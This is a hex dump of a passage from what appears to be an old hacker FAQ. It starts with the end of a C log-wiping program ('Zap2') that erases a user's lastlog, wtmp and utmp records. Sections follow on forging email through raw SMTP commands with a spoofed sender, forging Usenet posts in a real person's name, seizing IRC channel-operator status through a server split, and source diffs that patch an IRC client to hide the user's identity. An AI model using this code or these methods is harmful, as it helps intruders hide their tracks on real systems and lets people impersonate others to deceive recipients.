|00004320| 6c 5f 6c 61 73 74 6c 6f | 67 28 77 68 6f 29 0d 0a |l_lastlo|g(who)..|
|00004330| 63 68 61 72 20 2a 77 68 | 6f 3b 0d 0a 7b 0d 0a 20 |char *wh|o;..{.. |
|00004340| 20 20 20 73 74 72 75 63 | 74 20 70 61 73 73 77 64 | struc|t passwd|
|00004350| 20 2a 70 77 64 3b 0d 0a | 20 20 20 20 73 74 72 75 | *pwd;..| stru|
|00004360| 63 74 20 6c 61 73 74 6c | 6f 67 20 6e 65 77 6c 6c |ct lastl|og newll|
|00004370| 3b 0d 0a 20 0d 0a 20 20 | 20 20 20 69 66 20 28 28 |;.. .. | if ((|
|00004380| 70 77 64 3d 67 65 74 70 | 77 6e 61 6d 28 77 68 6f |pwd=getp|wnam(who|
|00004390| 29 29 21 3d 4e 55 4c 4c | 29 20 7b 0d 0a 20 0d 0a |))!=NULL|) {.. ..|
|000043a0| 20 20 20 20 20 20 20 20 | 69 66 20 28 28 66 3d 6f | |if ((f=o|
|000043b0| 70 65 6e 28 4c 41 53 54 | 4c 4f 47 5f 4e 41 4d 45 |pen(LAST|LOG_NAME|
|000043c0| 2c 20 4f 5f 52 44 57 52 | 29 29 20 3e 3d 20 30 29 |, O_RDWR|)) >= 0)|
|000043d0| 20 7b 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 | {.. | |
|000043e0| 6c 73 65 65 6b 28 66 2c | 20 28 6c 6f 6e 67 29 70 |lseek(f,| (long)p|
|000043f0| 77 64 2d 3e 70 77 5f 75 | 69 64 20 2a 20 73 69 7a |wd->pw_u|id * siz|
|00004400| 65 6f 66 20 28 73 74 72 | 75 63 74 20 6c 61 73 74 |eof (str|uct last|
|00004410| 6c 6f 67 29 2c 20 30 29 | 3b 0d 0a 20 20 20 20 20 |log), 0)|;.. |
|00004420| 20 20 20 20 20 20 20 62 | 7a 65 72 6f 28 28 63 68 | b|zero((ch|
|00004430| 61 72 20 2a 29 26 6e 65 | 77 6c 6c 2c 73 69 7a 65 |ar *)&ne|wll,size|
|00004440| 6f 66 28 20 6e 65 77 6c | 6c 20 29 29 3b 0d 0a 20 |of( newl|l ));.. |
|00004450| 20 20 20 20 20 20 20 20 | 20 20 20 77 72 69 74 65 | | write|
|00004460| 28 66 2c 20 28 63 68 61 | 72 20 2a 29 26 6e 65 77 |(f, (cha|r *)&new|
|00004470| 6c 6c 2c 20 73 69 7a 65 | 6f 66 28 20 6e 65 77 6c |ll, size|of( newl|
|00004480| 6c 20 29 29 3b 0d 0a 20 | 20 20 20 20 20 20 20 20 |l ));.. | |
|00004490| 20 20 20 63 6c 6f 73 65 | 28 66 29 3b 0d 0a 20 20 | close|(f);.. |
|000044a0| 20 20 20 20 20 20 7d 0d | 0a 20 0d 0a 20 20 20 20 | }.|. .. |
|000044b0| 7d 20 65 6c 73 65 20 70 | 72 69 6e 74 66 28 22 25 |} else p|rintf("%|
|000044c0| 73 3a 20 3f 5c 6e 22 2c | 77 68 6f 29 3b 0d 0a 7d |s: ?\n",|who);..}|
|000044d0| 0d 0a 20 0d 0a 6d 61 69 | 6e 28 61 72 67 63 2c 61 |.. ..mai|n(argc,a|
|000044e0| 72 67 76 29 0d 0a 69 6e | 74 20 61 72 67 63 3b 0d |rgv)..in|t argc;.|
|000044f0| 0a 63 68 61 72 20 2a 61 | 72 67 76 5b 5d 3b 0d 0a |.char *a|rgv[];..|
|00004500| 7b 0d 0a 20 20 20 20 69 | 66 20 28 61 72 67 63 3d |{.. i|f (argc=|
|00004510| 3d 32 29 20 7b 0d 0a 20 | 20 20 20 20 20 20 20 6b |=2) {.. | k|
|00004520| 69 6c 6c 5f 6c 61 73 74 | 6c 6f 67 28 61 72 67 76 |ill_last|log(argv|
|00004530| 5b 31 5d 29 3b 0d 0a 20 | 20 20 20 20 20 20 20 6b |[1]);.. | k|
|00004540| 69 6c 6c 5f 77 74 6d 70 | 28 61 72 67 76 5b 31 5d |ill_wtmp|(argv[1]|
|00004550| 29 3b 0d 0a 20 20 20 20 | 20 20 20 20 6b 69 6c 6c |);.. | kill|
|00004560| 5f 75 74 6d 70 28 61 72 | 67 76 5b 31 5d 29 3b 0d |_utmp(ar|gv[1]);.|
|00004570| 0a 20 20 20 20 20 20 20 | 20 70 72 69 6e 74 66 28 |. | printf(|
|00004580| 22 5a 61 70 32 21 5c 6e | 22 29 3b 0d 0a 20 20 20 |"Zap2!\n|");.. |
|00004590| 20 7d 20 65 6c 73 65 0d | 0a 20 20 20 20 70 72 69 | } else.|. pri|
|000045a0| 6e 74 66 28 22 45 72 72 | 6f 72 2e 5c 6e 22 29 3b |ntf("Err|or.\n");|
|000045b0| 0d 0a 7d 0d 0a 0d 0a 0d | 0a 31 32 2e 20 48 6f 77 |..}.....|.12. How|
|000045c0| 20 64 6f 20 49 20 73 65 | 6e 64 20 66 61 6b 65 6d | do I se|nd fakem|
|000045d0| 61 69 6c 3f 0d 0a 0d 0a | 54 65 6c 6e 65 74 20 74 |ail?....|Telnet t|
|000045e0| 6f 20 70 6f 72 74 20 32 | 35 20 6f 66 20 74 68 65 |o port 2|5 of the|
|000045f0| 20 6d 61 63 68 69 6e 65 | 20 79 6f 75 20 77 61 6e | machine| you wan|
|00004600| 74 20 74 68 65 20 6d 61 | 69 6c 20 74 6f 20 61 70 |t the ma|il to ap|
|00004610| 70 65 61 72 20 74 6f 0d | 0a 6f 72 69 67 69 6e 61 |pear to.|.origina|
|00004620| 74 65 20 66 72 6f 6d 2e | 20 20 45 6e 74 65 72 20 |te from.| Enter |
|00004630| 79 6f 75 72 20 6d 65 73 | 73 61 67 65 20 61 73 20 |your mes|sage as |
|00004640| 69 6e 20 74 68 69 73 20 | 65 78 61 6d 70 6c 65 3a |in this |example:|
|00004650| 0d 0a 0d 0a 20 48 45 4c | 4f 20 62 65 6c 6c 63 6f |.... HEL|O bellco|
|00004660| 72 65 2e 63 6f 6d 0d 0a | 20 4d 41 49 4c 20 46 52 |re.com..| MAIL FR|
|00004670| 4f 4d 3a 56 6f 79 61 67 | 65 72 40 62 65 6c 6c 63 |OM:Voyag|er@bellc|
|00004680| 6f 72 65 2e 63 6f 6d 0d | 0a 20 52 43 50 54 20 54 |ore.com.|. RCPT T|
|00004690| 4f 3a 70 72 65 73 69 64 | 65 6e 74 40 77 68 69 74 |O:presid|ent@whit|
|000046a0| 65 68 6f 75 73 65 2e 67 | 6f 76 0d 0a 20 44 41 54 |ehouse.g|ov.. DAT|
|000046b0| 41 0d 0a 0d 0a 09 50 6c | 65 61 73 65 20 64 69 73 |A.....Pl|ease dis|
|000046c0| 63 6f 6e 74 69 6e 75 65 | 20 79 6f 75 72 20 73 69 |continue| your si|
|000046d0| 6c 6c 79 20 43 6c 69 70 | 70 65 72 20 69 6e 69 74 |lly Clip|per init|
|000046e0| 69 61 74 69 76 65 2e 0d | 0a 20 2e 0d 0a 20 51 55 |iative..|. ... QU|
|000046f0| 49 54 0d 0a 0d 0a 4f 6e | 20 73 79 73 74 65 6d 73 |IT....On| systems|
|00004700| 20 74 68 61 74 20 68 61 | 76 65 20 52 46 43 20 39 | that ha|ve RFC 9|
|00004710| 33 31 20 69 6d 70 6c 65 | 6d 65 6e 74 65 64 2c 20 |31 imple|mented, |
|00004720| 73 70 6f 6f 66 69 6e 67 | 20 79 6f 75 72 20 22 4d |spoofing| your "M|
|00004730| 41 49 4c 20 46 52 4f 4d | 3a 22 0d 0a 6c 69 6e 65 |AIL FROM|:"..line|
|00004740| 20 77 69 6c 6c 20 6e 6f | 74 20 77 6f 72 6b 2e 20 | will no|t work. |
|00004750| 20 54 65 73 74 20 62 79 | 20 73 65 6e 64 69 6e 67 | Test by| sending|
|00004760| 20 79 6f 75 72 73 65 6c | 66 20 66 61 6b 65 6d 61 | yoursel|f fakema|
|00004770| 69 6c 20 66 69 72 73 74 | 2e 0d 0a 0d 0a 46 6f 72 |il first|.....For|
|00004780| 20 6d 6f 72 65 20 69 6e | 66 6f 72 6d 61 74 69 6f | more in|formatio|
|00004790| 6e 20 72 65 61 64 20 52 | 46 43 20 38 32 32 20 22 |n read R|FC 822 "|
|000047a0| 53 74 61 6e 64 61 72 64 | 20 66 6f 72 20 74 68 65 |Standard| for the|
|000047b0| 20 66 6f 72 6d 61 74 20 | 6f 66 20 41 52 50 41 0d | format |of ARPA.|
|000047c0| 0a 49 6e 74 65 72 6e 65 | 74 20 74 65 78 74 20 6d |.Interne|t text m|
|000047d0| 65 73 73 61 67 65 73 2e | 22 0d 0a 0d 0a 0d 0a 31 |essages.|"......1|
|000047e0| 33 2e 20 48 6f 77 20 64 | 6f 20 49 20 66 61 6b 65 |3. How d|o I fake|
|000047f0| 20 70 6f 73 74 73 20 74 | 6f 20 55 73 65 4e 65 74 | posts t|o UseNet|
|00004800| 3f 0d 0a 0d 0a 55 73 65 | 20 69 6e 65 77 73 20 74 |?....Use| inews t|
|00004810| 6f 20 70 6f 73 74 2e 20 | 20 47 69 76 65 20 69 6e |o post. | Give in|
|00004820| 65 77 73 20 74 68 65 20 | 66 6f 6c 6c 6f 77 69 6e |ews the |followin|
|00004830| 67 20 6c 69 6e 65 73 3a | 0d 0a 0d 0a 20 46 72 6f |g lines:|.... Fro|
|00004840| 6d 3a 0d 0a 20 4e 65 77 | 73 67 72 6f 75 70 73 3a |m:.. New|sgroups:|
|00004850| 0d 0a 20 53 75 62 6a 65 | 63 74 3a 0d 0a 20 4d 65 |.. Subje|ct:.. Me|
|00004860| 73 73 61 67 65 2d 49 44 | 3a 0d 0a 20 44 61 74 65 |ssage-ID|:.. Date|
|00004870| 3a 0d 0a 20 4f 72 67 61 | 6e 69 7a 61 74 69 6f 6e |:.. Orga|nization|
|00004880| 3a 0d 0a 0d 0a 46 6f 72 | 20 61 20 6d 6f 64 65 72 |:....For| a moder|
|00004890| 61 74 65 64 20 6e 65 77 | 73 67 72 6f 75 70 2c 20 |ated new|sgroup, |
|000048a0| 69 6e 65 77 73 20 77 69 | 6c 6c 20 61 6c 73 6f 20 |inews wi|ll also |
|000048b0| 72 65 71 75 69 72 65 20 | 74 68 69 73 20 6c 69 6e |require |this lin|
|000048c0| 65 3a 0d 0a 0d 0a 20 41 | 70 70 72 6f 76 65 64 3a |e:.... A|pproved:|
|000048d0| 0d 0a 0d 0a 54 68 65 6e | 20 61 64 64 20 79 6f 75 |....Then| add you|
|000048e0| 72 20 70 6f 73 74 20 61 | 6e 64 20 74 65 72 6d 69 |r post a|nd termi|
|000048f0| 6e 61 74 65 20 77 69 74 | 68 20 3c 43 6f 6e 74 72 |nate wit|h <Contr|
|00004900| 6f 6c 2d 44 3e 2e 0d 0a | 0d 0a 45 78 61 6d 70 6c |ol-D>...|..Exampl|
|00004910| 65 3a 0d 0a 0d 0a 20 46 | 72 6f 6d 3a 20 45 72 69 |e:.... F|rom: Eri|
|00004920| 63 20 53 2e 20 52 65 61 | 6c 0d 0a 20 4e 65 77 73 |c S. Rea|l.. News|
|00004930| 67 72 6f 75 70 73 3a 20 | 61 6c 74 2e 68 61 63 6b |groups: |alt.hack|
|00004940| 65 72 73 0d 0a 20 53 75 | 62 6a 65 63 74 3a 20 50 |ers.. Su|bject: P|
|00004950| 61 74 68 65 74 69 63 20 | 62 75 6e 63 68 20 6f 66 |athetic |bunch of|
|00004960| 20 77 61 6e 6e 61 62 65 | 20 6c 6f 73 65 72 73 0d | wannabe| losers.|
|00004970| 0a 20 4d 65 73 73 61 67 | 65 2d 49 44 3a 20 3c 65 |. Messag|e-ID: <e|
|00004980| 73 72 2e 31 32 33 40 6c | 6f 63 6b 65 2e 63 63 69 |sr.123@l|ocke.cci|
|00004990| 6c 2e 6f 72 67 3e 0d 0a | 20 44 61 74 65 3a 20 46 |l.org>..| Date: F|
|000049a0| 72 69 2c 20 31 33 20 41 | 75 67 20 31 39 39 34 20 |ri, 13 A|ug 1994 |
|000049b0| 31 32 3a 31 35 3a 30 33 | 0d 0a 20 4f 72 67 61 6e |12:15:03|.. Organ|
|000049c0| 69 7a 61 74 69 6f 6e 3a | 20 4d 6f 72 61 6c 20 4d |ization:| Moral M|
|000049d0| 61 6a 6f 72 69 74 79 0d | 0a 0d 0a 20 41 20 70 61 |ajority.|... A pa|
|000049e0| 74 68 65 74 69 63 20 62 | 75 6e 63 68 20 6f 66 20 |thetic b|unch of |
|000049f0| 77 61 6e 6e 61 62 65 20 | 6c 6f 73 65 72 73 20 69 |wannabe |losers i|
|00004a00| 73 20 77 68 61 74 20 6d | 6f 73 74 20 6f 66 20 79 |s what m|ost of y|
|00004a10| 6f 75 20 61 72 65 2c 20 | 77 69 74 68 20 6e 6f 0d |ou are, |with no.|
|00004a20| 0a 20 72 69 67 68 74 20 | 74 6f 20 73 74 65 61 6c |. right |to steal|
|00004a30| 20 74 68 65 20 68 6f 6e | 6f 72 61 62 6c 65 20 74 | the hon|orable t|
|00004a40| 69 74 6c 65 20 6f 66 20 | 60 68 61 63 6b 65 72 27 |itle of |`hacker'|
|00004a50| 20 74 6f 20 70 75 66 66 | 20 75 70 20 79 6f 75 72 | to puff| up your|
|00004a60| 20 73 69 6c 6c 79 0d 0a | 20 61 64 6f 6c 65 73 63 | silly..| adolesc|
|00004a70| 65 6e 74 20 65 67 6f 73 | 2e 20 47 65 74 20 73 74 |ent egos|. Get st|
|00004a80| 75 66 66 65 64 2c 20 67 | 65 74 20 6c 6f 73 74 2c |uffed, g|et lost,|
|00004a90| 20 61 6e 64 20 67 6f 20 | 74 6f 20 6a 61 69 6c 2e | and go |to jail.|
|00004aa0| 0d 0a 0d 0a 20 20 20 20 | 20 20 20 20 20 20 20 20 |.... | |
|00004ab0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|00004ac0| 20 20 20 20 20 20 20 20 | 20 20 20 20 45 72 69 63 | | Eric|
|00004ad0| 20 53 2e 20 52 65 61 6c | 20 3c 65 73 72 40 6c 6f | S. Real| <esr@lo|
|00004ae0| 63 6b 65 2e 63 63 69 6c | 2e 6f 72 67 3e 0d 0a 0d |cke.ccil|.org>...|
|00004af0| 0a 0d 0a 20 5e 44 0d 0a | 0d 0a 4e 6f 74 65 20 74 |... ^D..|..Note t|
|00004b00| 68 61 74 20 6d 61 6e 79 | 20 73 79 73 74 65 6d 73 |hat many| systems|
|00004b10| 20 77 69 6c 6c 20 61 70 | 70 65 6e 64 20 61 6e 20 | will ap|pend an |
|00004b20| 4f 72 69 67 69 6e 61 74 | 6f 72 3a 20 6c 69 6e 65 |Originat|or: line|
|00004b30| 20 74 6f 20 79 6f 75 72 | 20 6d 65 73 73 61 67 65 | to your| message|
|00004b40| 0d 0a 68 65 61 64 65 72 | 2c 20 65 66 66 65 63 74 |..header|, effect|
|00004b50| 69 76 65 6c 79 20 72 65 | 76 65 61 6c 69 6e 67 20 |ively re|vealing |
|00004b60| 74 68 65 20 61 63 63 6f | 75 6e 74 20 66 72 6f 6d |the acco|unt from|
|00004b70| 20 77 68 69 63 68 20 74 | 68 65 20 6d 65 73 73 61 | which t|he messa|
|00004b80| 67 65 20 77 61 73 0d 0a | 70 6f 73 74 65 64 2e 0d |ge was..|posted..|
|00004b90| 0a 0d 0a 0d 0a 31 34 2e | 20 48 6f 77 20 64 6f 20 |.....14.| How do |
|00004ba0| 49 20 68 61 63 6b 20 43 | 68 61 6e 4f 70 20 6f 6e |I hack C|hanOp on|
|00004bb0| 20 49 52 43 3f 0d 0a 0d | 0a 46 69 6e 64 20 61 20 | IRC?...|.Find a |
|00004bc0| 73 65 72 76 65 72 20 74 | 68 61 74 20 69 73 20 73 |server t|hat is s|
|00004bd0| 70 6c 69 74 20 66 72 6f | 6d 20 74 68 65 20 72 65 |plit fro|m the re|
|00004be0| 73 74 20 6f 66 20 49 52 | 43 20 61 6e 64 20 63 72 |st of IR|C and cr|
|00004bf0| 65 61 74 65 20 79 6f 75 | 72 20 6f 77 6e 0d 0a 63 |eate you|r own..c|
|00004c00| 68 61 6e 6e 65 6c 20 74 | 68 65 72 65 20 75 73 69 |hannel t|here usi|
|00004c10| 6e 67 20 74 68 65 20 6e | 61 6d 65 20 6f 66 20 74 |ng the n|ame of t|
|00004c20| 68 65 20 63 68 61 6e 6e | 65 6c 20 79 6f 75 20 77 |he chann|el you w|
|00004c30| 61 6e 74 20 43 68 61 6e | 4f 70 20 6f 6e 2e 20 20 |ant Chan|Op on. |
|00004c40| 57 68 65 6e 0d 0a 74 68 | 61 74 20 73 65 72 76 65 |When..th|at serve|
|00004c50| 72 20 72 65 63 6f 6e 6e | 65 63 74 73 20 74 6f 20 |r reconn|ects to |
|00004c60| 74 68 65 20 6e 65 74 2c | 20 79 6f 75 20 77 69 6c |the net,| you wil|
|00004c70| 6c 20 68 61 76 65 20 43 | 68 61 6e 4f 70 20 6f 6e |l have C|hanOp on|
|00004c80| 20 74 68 65 20 72 65 61 | 6c 0d 0a 63 68 61 6e 6e | the rea|l..chann|
|00004c90| 65 6c 2e 20 20 49 66 20 | 79 6f 75 20 68 61 76 65 |el. If |you have|
|00004ca0| 20 53 65 72 76 65 72 4f | 70 20 6f 6e 20 61 20 73 | ServerO|p on a s|
|00004cb0| 65 72 76 65 72 2c 20 79 | 6f 75 20 63 61 6e 20 63 |erver, y|ou can c|
|00004cc0| 61 75 73 65 20 69 74 20 | 74 6f 20 73 70 6c 69 74 |ause it |to split|
|00004cd0| 0d 0a 6f 6e 20 70 75 72 | 70 6f 73 65 2e 0d 0a 0d |..on pur|pose....|
|00004ce0| 0a 0d 0a 31 35 2e 20 48 | 6f 77 20 64 6f 20 49 20 |...15. H|ow do I |
|00004cf0| 6d 6f 64 69 66 79 20 74 | 68 65 20 49 52 43 20 63 |modify t|he IRC c|
|00004d00| 6c 69 65 6e 74 20 74 6f | 20 68 69 64 65 20 6d 79 |lient to| hide my|
|00004d10| 20 72 65 61 6c 20 75 73 | 65 72 6e 61 6d 65 3f 0d | real us|ername?.|
|00004d20| 0a 0d 0a 47 65 74 20 74 | 68 65 20 49 52 43 20 63 |...Get t|he IRC c|
|00004d30| 6c 69 65 6e 74 20 66 72 | 6f 6d 20 63 73 2e 62 75 |lient fr|om cs.bu|
|00004d40| 2e 65 64 75 20 2f 69 72 | 63 2f 63 6c 69 65 6e 74 |.edu /ir|c/client|
|00004d50| 73 2e 20 20 4c 6f 6f 6b | 20 61 74 20 74 68 65 20 |s. Look| at the |
|00004d60| 73 6f 75 72 63 65 0d 0a | 63 6f 64 65 20 66 69 6c |source..|code fil|
|00004d70| 65 73 20 69 72 63 2e 63 | 20 61 6e 64 20 63 74 63 |es irc.c| and ctc|
|00004d80| 70 2e 63 2e 20 20 54 68 | 65 20 63 6f 64 65 20 79 |p.c. Th|e code y|
|00004d90| 6f 75 20 61 72 65 20 6c | 6f 6f 6b 69 6e 67 20 66 |ou are l|ooking f|
|00004da0| 6f 72 20 69 73 20 66 61 | 69 72 6c 79 0d 0a 65 61 |or is fa|irly..ea|
|00004db0| 73 79 20 74 6f 20 73 70 | 6f 74 2e 20 20 43 68 61 |sy to sp|ot. Cha|
|00004dc0| 6e 67 65 20 69 74 2e 20 | 43 68 61 6e 67 65 20 74 |nge it. |Change t|
|00004dd0| 68 65 20 75 73 65 72 6e | 61 6d 65 20 63 6f 64 65 |he usern|ame code|
|00004de0| 20 69 6e 20 69 72 63 2e | 63 20 61 6e 64 20 74 68 | in irc.|c and th|
|00004df0| 65 0d 0a 63 74 63 70 20 | 69 6e 66 6f 72 6d 61 74 |e..ctcp |informat|
|00004e00| 69 6f 6e 20 63 6f 64 65 | 20 69 6e 20 63 74 63 70 |ion code| in ctcp|
|00004e10| 2e 63 2e 20 20 43 6f 6d | 70 69 6c 65 20 61 6e 64 |.c. Com|pile and|
|00004e20| 20 72 75 6e 20 79 6f 75 | 72 20 63 6c 69 65 6e 74 | run you|r client|
|00004e30| 2e 0d 0a 0d 0a 48 65 72 | 65 20 61 72 65 20 74 68 |.....Her|e are th|
|00004e40| 65 20 64 69 66 66 73 20 | 66 72 6f 6d 20 61 20 73 |e diffs |from a s|
|00004e50| 61 6d 70 6c 65 20 68 61 | 63 6b 20 6f 66 20 74 68 |ample ha|ck of th|
|00004e60| 65 20 49 52 43 20 63 6c | 69 65 6e 74 2e 20 20 59 |e IRC cl|ient. Y|
|00004e70| 6f 75 72 20 63 6c 69 65 | 6e 74 0d 0a 63 6f 64 65 |our clie|nt..code|
|00004e80| 20 77 69 6c 6c 20 76 61 | 72 79 20 73 6c 69 67 68 | will va|ry sligh|
|00004e90| 74 6c 79 20 64 65 70 65 | 6e 64 69 6e 67 20 6f 6e |tly depe|nding on|
|00004ea0| 20 77 68 61 74 20 49 52 | 43 20 63 6c 69 65 6e 74 | what IR|C client|
|00004eb0| 20 76 65 72 73 69 6f 6e | 20 79 6f 75 20 61 72 65 | version| you are|
|00004ec0| 0d 0a 72 75 6e 6e 69 6e | 67 2e 0d 0a 0d 0a 2a 2a |..runnin|g.....**|
|00004ed0| 2a 20 63 74 63 70 2e 63 | 2e 6f 6c 64 20 20 57 65 |* ctcp.c|.old We|
|00004ee0| 64 20 46 65 62 20 31 30 | 20 31 30 3a 30 38 3a 30 |d Feb 10| 10:08:0|
|00004ef0| 35 20 31 39 39 33 0d 0a | 2d 2d 2d 20 63 74 63 70 |5 1993..|--- ctcp|
|00004f00| 2e 63 20 20 20 20 20 20 | 46 72 69 20 46 65 62 20 |.c |Fri Feb |
|00004f10| 31 32 20 30 34 3a 33 33 | 3a 35 35 20 31 39 39 33 |12 04:33|:55 1993|
|00004f20| 0d 0a 2a 2a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |..******|********|
|00004f30| 2a 0d 0a 2a 2a 2a 20 33 | 33 31 2c 33 33 37 20 2a |*..*** 3|31,337 *|
|00004f40| 2a 2a 2a 0d 0a 09 73 74 | 72 75 63 74 20 20 70 61 |***...st|ruct pa|
|00004f50| 73 73 77 64 20 20 2a 70 | 77 64 3b 0d 0a 09 6c 6f |sswd *p|wd;...lo|
|00004f60| 6e 67 20 20 20 20 64 69 | 66 66 3b 0d 0a 09 69 6e |ng di|ff;...in|
|00004f70| 74 20 20 20 20 20 75 69 | 64 3b 0d 0a 21 20 20 20 |t ui|d;..! |
|00004f80| 20 20 20 20 63 68 61 72 | 20 20 20 20 63 3b 0d 0a | char| c;..|
|00004f90| 20 20 0d 0a 09 2f 2a 0d | 0a 09 20 2a 20 73 6f 6a | .../*.|.. * soj|
|00004fa0| 67 65 20 63 6f 6d 70 6c | 61 69 6e 65 64 20 74 68 |ge compl|ained th|
|00004fb0| 61 74 20 69 72 63 49 49 | 20 73 61 79 73 20 27 69 |at ircII| says 'i|
|00004fc0| 64 6c 65 20 31 20 73 65 | 63 6f 6e 64 73 27 0d 0a |dle 1 se|conds'..|
|00004fd0| 2d 2d 2d 20 33 33 31 2c | 33 33 37 20 2d 2d 2d 2d |--- 331,|337 ----|
|00004fe0| 0d 0a 09 73 74 72 75 63 | 74 20 20 70 61 73 73 77 |...struc|t passw|
|00004ff0| 64 20 20 2a 70 77 64 3b | 0d 0a 09 6c 6f 6e 67 20 |d *pwd;|...long |
|00005000| 20 20 20 64 69 66 66 3b | 0d 0a 09 69 6e 74 20 20 | diff;|...int |
|00005010| 20 20 20 75 69 64 3b 0d | 0a 21 20 20 20 20 20 20 | uid;.|.! |
|00005020| 20 63 68 61 72 20 20 20 | 20 63 2c 20 2a 66 69 6e | char | c, *fin|
|00005030| 67 3b 0d 0a 20 20 0d 0a | 09 2f 2a 0d 0a 09 20 2a |g;.. ..|./*... *|
|00005040| 20 73 6f 6a 67 65 20 63 | 6f 6d 70 6c 61 69 6e 65 | sojge c|omplaine|
|00005050| 64 20 74 68 61 74 20 69 | 72 63 49 49 20 73 61 79 |d that i|rcII say|
|00005060| 73 20 27 69 64 6c 65 20 | 31 20 73 65 63 6f 6e 64 |s 'idle |1 second|
|00005070| 73 27 0d 0a 2a 2a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |s'..****|********|
|00005080| 2a 2a 2a 0d 0a 2a 2a 2a | 20 33 34 38 2c 33 35 34 |***..***| 348,354|
|00005090| 20 2a 2a 2a 2a 0d 0a 09 | 69 66 20 28 75 69 64 20 | ****...|if (uid |
|000050a0| 21 3d 20 44 41 45 4d 4f | 4e 5f 55 49 44 29 0d 0a |!= DAEMO|N_UID)..|
|000050b0| 09 7b 0d 0a 20 20 23 65 | 6e 64 69 66 20 2f 2a 20 |.{.. #e|ndif /* |
|000050c0| 44 41 45 4d 4f 4e 5f 55 | 49 44 20 2a 2f 20 20 20 |DAEMON_U|ID */ |
|000050d0| 20 20 20 20 0d 0a 21 20 | 20 20 20 20 20 20 20 20 | ..! | |
|000050e0| 20 20 20 20 20 20 69 66 | 20 28 70 77 64 20 3d 20 | if| (pwd = |
|000050f0| 67 65 74 70 77 75 69 64 | 28 75 69 64 29 29 0d 0a |getpwuid|(uid))..|
|00005100| 09 09 7b 0d 0a 09 09 09 | 63 68 61 72 20 20 20 20 |..{.....|char |
|00005110| 2a 74 6d 70 3b 0d 0a 20 | 20 0d 0a 2d 2d 2d 20 33 |*tmp;.. | ..--- 3|
|00005120| 34 38 2c 33 35 36 20 2d | 2d 2d 2d 0d 0a 09 69 66 |48,356 -|---...if|
|00005130| 20 28 75 69 64 20 21 3d | 20 44 41 45 4d 4f 4e 5f | (uid !=| DAEMON_|
|00005140| 55 49 44 29 0d 0a 09 7b | 0d 0a 20 20 23 65 6e 64 |UID)...{|.. #end|
|00005150| 69 66 20 2f 2a 20 44 41 | 45 4d 4f 4e 5f 55 49 44 |if /* DA|EMON_UID|
|00005160| 20 2a 2f 20 20 20 20 20 | 20 20 0d 0a 21 20 20 20 | */ | ..! |
|00005170| 20 20 20 20 20 20 20 20 | 20 20 20 20 69 66 20 28 | | if (|
|00005180| 66 69 6e 67 20 3d 20 67 | 65 74 65 6e 76 28 22 49 |fing = g|etenv("I|
|00005190| 52 43 46 49 4e 47 45 52 | 22 29 29 0d 0a 21 20 20 |RCFINGER|"))..! |
|000051a0| 20 20 20 20 20 20 20 20 | 20 20 20 20 20 20 20 20 | | |
|000051b0| 20 20 20 20 20 73 65 6e | 64 5f 63 74 63 70 5f 72 | sen|d_ctcp_r|
|000051c0| 65 70 6c 79 28 66 72 6f | 6d 2c 20 63 74 63 70 2d |eply(fro|m, ctcp-|
|000051d0| 3e 6e 61 6d 65 2c 20 66 | 69 6e 67 2c 20 64 69 66 |>name, f|ing, dif|
|000051e0| 66 2c 20 63 29 3b 0d 0a | 21 20 20 20 20 20 20 20 |f, c);..|! |
|000051f0| 20 20 20 20 20 20 20 20 | 65 6c 73 65 20 69 66 20 | |else if |
|00005200| 28 70 77 64 20 3d 20 67 | 65 74 70 77 75 69 64 28 |(pwd = g|etpwuid(|
|00005210| 75 69 64 29 29 0d 0a 09 | 09 7b 0d 0a 09 09 09 63 |uid))...|.{.....c|
|00005220| 68 61 72 20 20 20 20 2a | 74 6d 70 3b 0d 0a 20 20 |har *|tmp;.. |
|00005230| 0d 0a 2a 2a 2a 20 69 72 | 63 2e 63 2e 6f 6c 64 20 |..*** ir|c.c.old |
|00005240| 20 20 57 65 64 20 46 65 | 62 20 31 30 20 30 36 3a | Wed Fe|b 10 06:|
|00005250| 33 33 3a 31 31 20 31 39 | 39 33 0d 0a 2d 2d 2d 20 |33:11 19|93..--- |
|00005260| 69 72 63 2e 63 20 20 20 | 20 20 20 20 46 72 69 20 |irc.c | Fri |
|00005270| 46 65 62 20 31 32 20 30 | 34 3a 30 32 3a 31 31 20 |Feb 12 0|4:02:11 |
|00005280| 31 39 39 33 0d 0a 2a 2a | 2a 2a 2a 2a 2a 2a 2a 2a |1993..**|********|
|00005290| 2a 2a 2a 2a 2a 0d 0a 2a | 2a 2a 20 35 31 30 2c 35 |*****..*|** 510,5|
|000052a0| 31 36 20 2a 2a 2a 2a 0d | 0a 09 09 6d 61 6c 6c 6f |16 ****.|...mallo|
|000052b0| 63 5f 73 74 72 63 70 79 | 28 26 6d 79 5f 70 61 74 |c_strcpy|(&my_pat|
|000052c0| 68 2c 20 22 2f 22 29 3b | 0d 0a 09 69 66 20 28 2a |h, "/");|...if (*|
|000052d0| 72 65 61 6c 6e 61 6d 65 | 20 3d 3d 20 6e 75 6c 6c |realname| == null|
|000052e0| 28 63 68 61 72 29 29 0d | 0a 09 09 73 74 72 6d 63 |(char)).|...strmc|
|000052f0| 70 79 28 72 65 61 6c 6e | 61 6d 65 2c 20 22 2a 55 |py(realn|ame, "*U|
|00005300| 6e 6b 6e 6f 77 6e 2a 22 | 2c 20 52 45 41 4c 4e 41 |nknown*"|, REALNA|
|00005310| 4d 45 5f 4c 45 4e 29 3b | 0d 0a 21 20 20 20 20 20 |ME_LEN);|..! |
|00005320| 20 20 69 66 20 28 2a 75 | 73 65 72 6e 61 6d 65 20 | if (*u|sername |
|00005330| 3d 3d 20 6e 75 6c 6c 28 | 63 68 61 72 29 29 0d 0a |== null(|char))..|
|00005340| 09 7b 0d 0a 09 09 69 66 | 20 28 70 74 72 20 3d 20 |.{....if| (ptr = |
|00005350| 67 65 74 65 6e 76 28 22 | 55 53 45 52 22 29 29 0d |getenv("|USER")).|
|00005360| 0a 09 09 09 73 74 72 6d | 63 70 79 28 75 73 65 72 |....strm|cpy(user|
|00005370| 6e 61 6d 65 2c 20 70 74 | 72 2c 20 4e 41 4d 45 5f |name, pt|r, NAME_|
|00005380| 4c 45 4e 29 3b 0d 0a 2d | 2d 2d 20 35 31 30 2c 35 |LEN);..-|-- 510,5|
|00005390| 31 38 20 2d 2d 2d 2d 0d | 0a 09 09 6d 61 6c 6c 6f |18 ----.|...mallo|
